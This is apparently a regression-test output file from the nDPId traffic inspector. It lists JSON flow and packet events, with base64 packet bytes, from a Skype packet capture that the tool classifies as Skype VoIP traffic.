+00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":17,"flow_first_seen":1431969673443,"flow_last_seen":1431969701671,"flow_tot_l4_data_len":777,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":50053,"dst_port":40030,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":17,"flow_first_seen":1431969673443,"flow_last_seen":1431969701671,"flow_tot_l4_data_len":777,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":50053,"dst_port":40030,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":17,"flow_first_seen":1431969681480,"flow_last_seen":1431969709213,"flow_tot_l4_data_len":727,"flow_min_l4_data_len":20,"flow_max_l4_data_len":92,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.160","src_port":50067,"dst_port":40027,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":17,"flow_first_seen":1431969681480,"flow_last_seen":1431969709213,"flow_tot_l4_data_len":727,"flow_min_l4_data_len":20,"flow_max_l4_data_len":92,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.160","src_port":50067,"dst_port":40027,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":14,"flow_first_seen":1431969675056,"flow_last_seen":1431969702873,"flow_tot_l4_data_len":732,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.47","src_port":50058,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":14,"flow_first_seen":1431969675056,"flow_last_seen":1431969702873,"flow_tot_l4_data_len":732,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.47","src_port":50058,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":15,"flow_first_seen":1431969683081,"flow_last_seen":1431969710648,"flow_tot_l4_data_len":891,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.160","src_port":50069,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":15,"flow_first_seen":1431969683081,"flow_last_seen":1431969710648,"flow_tot_l4_data_len":891,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.160","src_port":50069,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":15,"flow_first_seen":1431969685111,"flow_last_seen":1431969703010,"flow_tot_l4_data_len":974,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":50072,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":15,"flow_first_seen":1431969685111,"flow_last_seen":1431969703010,"flow_tot_l4_data_len":974,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":50072,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":15,"flow_first_seen":1431969691076,"flow_last_seen":1431969709588,"flow_tot_l4_data_len":814,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":50078,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":15,"flow_first_seen":1431969691076,"flow_last_seen":1431969709588,"flow_tot_l4_data_len":814,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":50078,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":15,"flow_first_seen":1431969691076,"flow_last_seen":1431969708230,"flow_tot_l4_data_len":1024,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":50080,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":15,"flow_first_seen":1431969691076,"flow_last_seen":1431969708230,"flow_tot_l4_data_len":1024,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":50080,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":15,"flow_first_seen":1431969692087,"flow_last_seen":1431969710209,"flow_tot_l4_data_len":1003,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":50081,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":15,"flow_first_seen":1431969692087,"flow_last_seen":1431969710209,"flow_tot_l4_data_len":1003,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":50081,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":16,"flow_first_seen":1431969675413,"flow_last_seen":1431969703766,"flow_tot_l4_data_len":692,"flow_min_l4_data_len":20,"flow_max_l4_data_len":102,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.38","src_port":50059,"dst_port":40015,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":16,"flow_first_seen":1431969675413,"flow_last_seen":1431969703766,"flow_tot_l4_data_len":692,"flow_min_l4_data_len":20,"flow_max_l4_data_len":102,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.38","src_port":50059,"dst_port":40015,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":16,"flow_first_seen":1431969673443,"flow_last_seen":1431969701528,"flow_tot_l4_data_len":718,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.47","src_port":50055,"dst_port":40030,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":16,"flow_first_seen":1431969673443,"flow_last_seen":1431969701528,"flow_tot_l4_data_len":718,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.47","src_port":50055,"dst_port":40030,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":297,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2946,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969771,"pkt_ts_usec":436178,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Vx1AAEAGYP\/AqAEiBfi63cPZeSJOVOlk1JnUs4AYECohbwAAAQEICj4kgLMAAHDpAn7P43BvMd8="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2951,"source":"skype.pcap","alias":"nDPId-test","flow_id":298,"flow_packet_id":1,"flow_first_seen":1431969771806,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.238.7.203","src_port":50138,"dst_port":18767,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":298,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2951,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969771,"pkt_ts_usec":806353,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXBhAAEAGzRzAqAEiR+4Hy8PaSU8uFQxlAAAAALAC\/\/8djQAAAgQFtAEDAwUBAQgKPiSCJAAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2952,"source":"skype.pcap","alias":"nDPId-test","flow_id":299,"flow_packet_id":1,"flow_first_seen":1431969771806,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"5.248.186.221","src_port":50139,"dst_port":31010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":299,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2952,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969771,"pkt_ts_usec":806544,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAZhxAAEAGUfzAqAEiBfi63cPbeSJooXaIAAAAALAC\/\/\/X7AAAAgQFtAEDAwUBAQgKPiSCJAAAAAAEAgAA"} +00441{"flow_id":299,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2953,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969771,"pkt_ts_usec":918975,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABA2bNAAHIGrGQF+LrdwKgBInkiw9s0p7etaKF2ibASRBBmywAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00425{"flow_id":299,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2954,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969771,"pkt_ts_usec":919107,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0HKZAAEAGm37AqAEiBfi63cPbeSJooXaJNKe3roAQECwaugAAAQEICj4kgpQAAAAA"} +00483{"flow_id":299,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2955,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969771,"pkt_ts_usec":919233,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"0NQSxnP1PBXCt3IOCABFAABcf4JAAEAGOHrAqAEiBfi63cPbeSJooXaJNKe3roAYECzCFgAAAQEICj4kgpQAAAAAqdG9FK4TuUHIKK6aMyAYZRIhmWdJ9t4VhRgz8yYIfLUv8h43vNuNiw=="} +00442{"flow_id":298,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2956,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":21081,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABAALFAAHMG9YNH7gfLwKgBIklPw9pIXx9TLhUMZrAS\/\/91HgAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00425{"flow_id":298,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2957,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":21161,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0TOFAAEAG3F\/AqAEiR+4Hy8PaSU8uFQxmSF8fVIAQECzklgAAAQEICj4kgvoAAAAA"} +00484{"flow_id":298,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2958,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":21301,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"0NQSxnP1PBXCt3IOCABFAABcfvNAAEAGqiXAqAEiR+4Hy8PaSU8uFQxmSF8fVIAYECyaCQAAAQEICj4kgvoAAAAAySlZU2d+fWCI7gzoxQdQlWtv\/LqOYwU50I77xNQT\/1JgDkcmXg72yA=="} +00484{"flow_id":299,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2959,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":32365,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"PBXCt3IO0NQSxnP1CABFAABe2bdAAHIGrEIF+LrdwKgBInkiw9s0p7euaKF2sYAYQ+h30wAAAQEICgAAcPQ+JIKU\/iNnDy7MY+xYJiBf0Zydu+FnmBaOmB1etsSkKondEumn6ottmLpeVNZ\/"} +00424{"flow_id":299,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2960,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":32442,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tspAAEAGAVrAqAEiBfi63cPbeSJooXaxNKe32IAQECqpBAAAAQEICj4kgwUAAHD0"} +00425{"flow_id":297,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2961,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":32644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0iVVAAEAGLs\/AqAEiBfi63cPZeSJOVOls1JnUs4ARECqT1AAAAQEICj4kgwUAAHDp"} +00448{"flow_id":299,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2962,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":37160,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABFHcpAAEAGmknAqAEiBfi63cPbeSJooXaxNKe32IAYECpzLgAAAQEICj4kgwkAAHD0SCaPKbl3pITe6Qi5gkLChtQ="} +00445{"flow_id":299,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2963,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":148294,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABC2b1AAHIGrFgF+LrdwKgBInkiw9s0p7fYaKF2woAYQ9exGQAAAQEICgAAcPU+JIMJXnXPuWBAVxKQkQZjR5s="} +00425{"flow_id":299,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2964,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":148408,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0dvpAAEAGQSrAqAEiBfi63cPbeSJooXbCNKe35oAQECqocQAAAQEICj4kg3gAAHD1"} +00438{"flow_id":297,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2965,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":242919,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8GFdAAEAGn8XAqAEiBfi63cPZeSJOVOlk1JnUs4AZECoeSwAAAQEICj4kg9YAAHDpAn7P43BvMd8="} +00479{"flow_id":298,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2966,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":244569,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"PBXCt3IO0NQSxnP1CABFAABXAUBAAHMG9N1H7gfLwKgBIklPw9pIXx9ULhUMjoAY\/9fcSAAAAQEICgMcpb4+JIL6711cSIJaYBPxt+Azvw0vQI\/HxFSLE64Mu9sF\/6gQ\/OlvFB4="} +00425{"flow_id":298,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2967,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":244673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA01aNAAEAGU53AqAEiR+4Hy8PaSU8uFQyOSF8fd4AQECo6lgAAAQEICj4kg9cDHKW+"} +00425{"flow_id":296,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2968,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":244898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0kE9AAEAGmPHAqAEiR+4Hy8PYSU+K+FIQJqKqBIARECkvbQAAAQEICj4kg9cDHKWz"} +00450{"flow_id":298,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2969,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":245033,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABFlUdAAEAGk+jAqAEiR+4Hy8PaSU8uFQyOSF8fd4AYECpG+AAAAQEICj4kg9cDHKW+HPp65LVA5fNgao2cRMqWn\/c="} +00446{"flow_id":299,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2970,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":258158,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABC2ctAAHIGrEoF+LrdwKgBInkiw9s0p7fmaKF2woAYQ9e9AQAAAQEICgAAcPY+JIN4tQWhA9p4RFJLEHuLfDs="} +00426{"flow_id":299,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2971,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":258227,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0spxAAEAGBYjAqAEiBfi63cPbeSJooXbCNKe39IAQECmn9wAAAQEICj4kg+QAAHD2"} +00434{"flow_id":299,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2972,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":258323,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4pNNAAEAGE03AqAEiBfi63cPbeSJooXbCNKe39IAYEClDlQAAAQEICj4kg+QAAHD2eTPrIg=="} +00437{"flow_id":296,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2974,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":449216,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA87VVAAEAGO+PAqAEiR+4Hy8PYSU+K+FIIJqKqBIAZECnwogAAAQEICj4khKIDHKWz6MDF2eKkrLc="} +00446{"flow_id":298,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2975,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":462104,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCAk5AAHMG8+RH7gfLwKgBIklPw9pIXx93LhUMn4AY\/8ZfjgAAAQEICgMcpcA+JIPXDqFiCt2vMDN2Rnr4e3Q="} +00426{"flow_id":298,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2976,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":462209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0k\/RAAEAGlUzAqAEiR+4Hy8PaSU8uFQyfSF8fhYAQECo5nQAAAQEICj4khK8DHKXA"} +00426{"flow_id":299,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2977,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":499131,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA02dlAAHIGrEoF+LrdwKgBInkiw9s0p7f0aKF2xoAQQ9N0RgAAAQEICgAAcPk+JIPk"} +00448{"flow_id":298,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2978,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":675740,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCAlRAAHMG895H7gfLwKgBIklPw9pIXx+FLhUMn4AY\/8aC3AAAAQEICgMcpcI+JISvrWju6bfySNsdhg3f\/oU="} +00426{"flow_id":298,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2979,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":675864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0DvpAAEAGGkfAqAEiR+4Hy8PaSU8uFQyfSF8fk4AQECo4uAAAAQEICj4khYQDHKXC"} 